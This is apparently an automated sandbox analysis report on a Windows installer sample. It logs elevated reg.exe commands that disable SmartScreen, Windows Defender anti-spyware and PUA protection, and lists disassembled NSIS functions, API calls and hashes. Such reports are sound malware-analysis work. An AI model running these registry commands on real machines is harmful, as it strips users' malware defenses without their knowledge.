Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Imagebase:	0x7ff66e660000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:53:16
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:53:17
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:53:17
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser" /v "MpEnablePus" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:53:17
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.5%
Total number of Nodes:	1356
Total number of Limit Nodes:	23

Executed Functions

Function 0040350F Relevance: 82.7, APIs: 33, Strings: 14, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403532
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040355D
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403570
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 00403609
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403646
OleInitialize.OLE32(00000000), ref: 0040364D
SHGetFileInfoW.SHELL32(0079F708,00000000,?,000002B4,00000000), ref: 0040366C
GetCommandLineW.KERNEL32(007A7260,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403681
CharNextW.USER32(00000000,007B3000,00000020,007B3000,00000000,?,00000008,0000000A,0000000C), ref: 004036BA
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037F2
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403803
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040380F
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403823
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040382B
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040383C
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403844
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403858
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,007B3000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403931

Part of subcall function 00406534: lstrcpynW.KERNEL32(?,?,00000400,00403681,007A7260,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406541

wsprintfW.USER32 ref: 0040398E
GetFileAttributesW.KERNEL32(007AB800,C:\Users\user\AppData\Local\Temp\), ref: 004039C1
DeleteFileW.KERNEL32(007AB800), ref: 004039CD
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004039FB

Part of subcall function 004062F4: MoveFileExW.KERNELBASE(?,?,00000005,00405DF2,?,00000000,000000F1,?,?,?,?,?), ref: 004062FE

CopyFileW.KERNEL32(C:\Users\user\Desktop\Ms63nDrOBa.exe,007AB800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A11

Part of subcall function 00405B17: CreateProcessW.KERNEL32(00000000,007AB800,00000000,00000000,00000000,04000000,00000000,00000000,007A4750,?,?,?,007AB800,?), ref: 00405B40
Part of subcall function 00405B17: CloseHandle.KERNEL32(?,?,?,007AB800,?), ref: 00405B4D

Part of subcall function 00406891: FindFirstFileW.KERNELBASE(?,007A4798,007A3F50,00405F54,007A3F50,007A3F50,00000000,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 0040689C
Part of subcall function 00406891: FindClose.KERNEL32(00000000), ref: 004068A8

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A5A
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A5F
ExitProcess.KERNEL32 ref: 00403A7C
CloseHandle.KERNEL32(00000000,007AC000,007AC000,?,007AB800,00000000), ref: 00403A83
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A9F
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ABB
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403ADE
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B03
ExitProcess.KERNEL32 ref: 00403B26

Part of subcall function 00405AE2: CreateDirectoryW.KERNELBASE(?,00000000,00403502,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00405AE8

Strings

\Temp, xrefs: 00403809
C:\Users\user\Desktop, xrefs: 0040394F
Low, xrefs: 00403825
~nsu%X.tmp, xrefs: 00403985
TMP, xrefs: 0040383F
TEMP, xrefs: 00403837
SeShutdownPrivilege, xrefs: 00403AB5
NSIS Error, xrefs: 00403672
C:\Users\user\AppData\Local\Temp\nse5B61.tmp, xrefs: 00403904
C:\Users\user\Desktop\Ms63nDrOBa.exe, xrefs: 00403A0C
C:\Users\user\AppData\Local\Temp\, xrefs: 004037E7, 004037EC, 00403802, 0040380E, 0040381D, 0040382A, 00403836, 0040383E, 0040392C, 004039AD, 004039D9, 004039FA, 00403A03
1033, xrefs: 00403853
Error launching installer, xrefs: 004038DA
UXTHEME, xrefs: 004035FD, 00403602, 00403608

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: 1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nse5B61.tmp$C:\Users\user\Desktop$C:\Users\user\Desktop\Ms63nDrOBa.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-724603151
Opcode ID: 95031478cf7aca2761e13cc7a8c35f67bbb2b0b4fc0cb4fdcab670add076414d
Instruction ID: 67d79b026de4563afcf96275ffa6c79ee12181f10d5245d5b23545884d7a86e1
Opcode Fuzzy Hash: 95031478cf7aca2761e13cc7a8c35f67bbb2b0b4fc0cb4fdcab670add076414d
Instruction Fuzzy Hash: FCF1F570604301ABD720AF659D05B6B7EE8EF81B06F10443EF581B62D1DB7D8A45CB6E

Function 00405C40 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405C69
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*,\*.*), ref: 00405CB1
lstrcatW.KERNEL32(?,0040A014), ref: 00405CD4
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*,?,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405CDA
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*,?,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405CEA
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D8A
FindClose.KERNEL32(00000000), ref: 00405D99

Strings

\*.*, xrefs: 00405CAB
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*, xrefs: 00405C99, 00405C9F, 00405CB0, 00405CE9
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C4D

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nse5B61.tmp\*.*$\*.*
API String ID: 2035342205-2642911601
Opcode ID: 504f622c36c52388dc620547c7079f2cd4c31ca565287661d2c47a2285e6f56d
Instruction ID: 81bbe464494fb05f5b6ac6ef540245f59b5aaf372d852028a7707812675e6212
Opcode Fuzzy Hash: 504f622c36c52388dc620547c7079f2cd4c31ca565287661d2c47a2285e6f56d
Instruction Fuzzy Hash: 7C419230805A14B6DB216B658D4DBBF7678EF81714F10813FF841B11D1DB7C4A829E6E

Function 00406891 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,007A4798,007A3F50,00405F54,007A3F50,007A3F50,00000000,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 0040689C
FindClose.KERNEL32(00000000), ref: 004068A8

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 66bf9994b2f5814cd2018ee22faa20966fcafcce3cd9b2dc1ade219dc7786d58
Instruction ID: e6b866c1dacf5e46d4e55f169e1c72a585861dd5ed209923aafe0abde5973ea2
Opcode Fuzzy Hash: 66bf9994b2f5814cd2018ee22faa20966fcafcce3cd9b2dc1ade219dc7786d58
Instruction Fuzzy Hash: 9BD012325161205BD29127386D0C85B7A9CAF563317129B36F46AF22E0C7748C628698

Function 00403C06 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406928: GetModuleHandleA.KERNEL32(?,00000020,?,0040361F,0000000C,?,?,?,?,?,?,?,?), ref: 0040693A
Part of subcall function 00406928: GetProcAddress.KERNEL32(00000000,?), ref: 00406955

GetUserDefaultUILanguage.KERNELBASE(00000002,76233420,C:\Users\user\AppData\Local\Temp\,00000000,007B3000,00008001), ref: 00403C20

Part of subcall function 0040647B: wsprintfW.USER32 ref: 00406488

lstrcatW.KERNEL32(1033,007A1748), ref: 00403C87
lstrlenW.KERNEL32(007A6200,?,?,?,007A6200,00000000,007B3800,1033,007A1748,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1748,00000000,00000002,76233420), ref: 00403D07
lstrcmpiW.KERNEL32(007A61F8,.exe,007A6200,?,?,?,007A6200,00000000,007B3800,1033,007A1748,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1748,00000000), ref: 00403D1A
GetFileAttributesW.KERNEL32(007A6200), ref: 00403D25
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,007B3800), ref: 00403D6E
RegisterClassW.USER32(007A7200), ref: 00403DAB
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DC3
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DF8
ShowWindow.USER32(00000005,00000000), ref: 00403E2E
GetClassInfoW.USER32(00000000,RichEdit20W,007A7200), ref: 00403E5A
GetClassInfoW.USER32(00000000,RichEdit,007A7200), ref: 00403E67
RegisterClassW.USER32(007A7200), ref: 00403E70
DialogBoxParamW.USER32(?,00000000,00403FB4,00000000), ref: 00403E8F

Strings

.DEFAULT\Control Panel\International, xrefs: 00403C72
RichEd32, xrefs: 00403E42
Control Panel\Desktop\ResourceLocale, xrefs: 00403C3A
_Nb, xrefs: 00403D8A, 00403DF2
.exe, xrefs: 00403D14
RichEdit20W, xrefs: 00403E52, 00403E58
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C0B
1033, xrefs: 00403C26, 00403C82
RichEdit, xrefs: 00403E61
RichEd20, xrefs: 00403E34

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-2896555866
Opcode ID: 77247c40459340d7e507679bbfe1089da7311cd67a308f54977d61676674234e
Instruction ID: e3f36f251999893233d50a16806d3669fe4950a37a4839b1d492828efc6e8aed
Opcode Fuzzy Hash: 77247c40459340d7e507679bbfe1089da7311cd67a308f54977d61676674234e
Instruction Fuzzy Hash: 3061C470100600AAE720AF66DD45F2B3AACFB85B49F40453EF951B62E2DB7C9901CB6D

Function 00403082 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Ms63nDrOBa.exe,00000400), ref: 004030AF

Part of subcall function 00406024: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 00406028
Part of subcall function 00406024: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040604A

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ms63nDrOBa.exe,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403231

Strings

C:\Users\user\Desktop, xrefs: 004030DD, 004030E2, 004030E8
Null, xrefs: 00403179
soft, xrefs: 00403170
C:\Users\user\Desktop\Ms63nDrOBa.exe, xrefs: 00403099, 004030A8, 004030BC, 004030DC
Inst, xrefs: 00403167
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
Error launching installer, xrefs: 004030D2

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Ms63nDrOBa.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-184383526
Opcode ID: a0dd9f8ef326ba969c16cb1fd88c965c76ed405712e773b35a873600aa04ef71
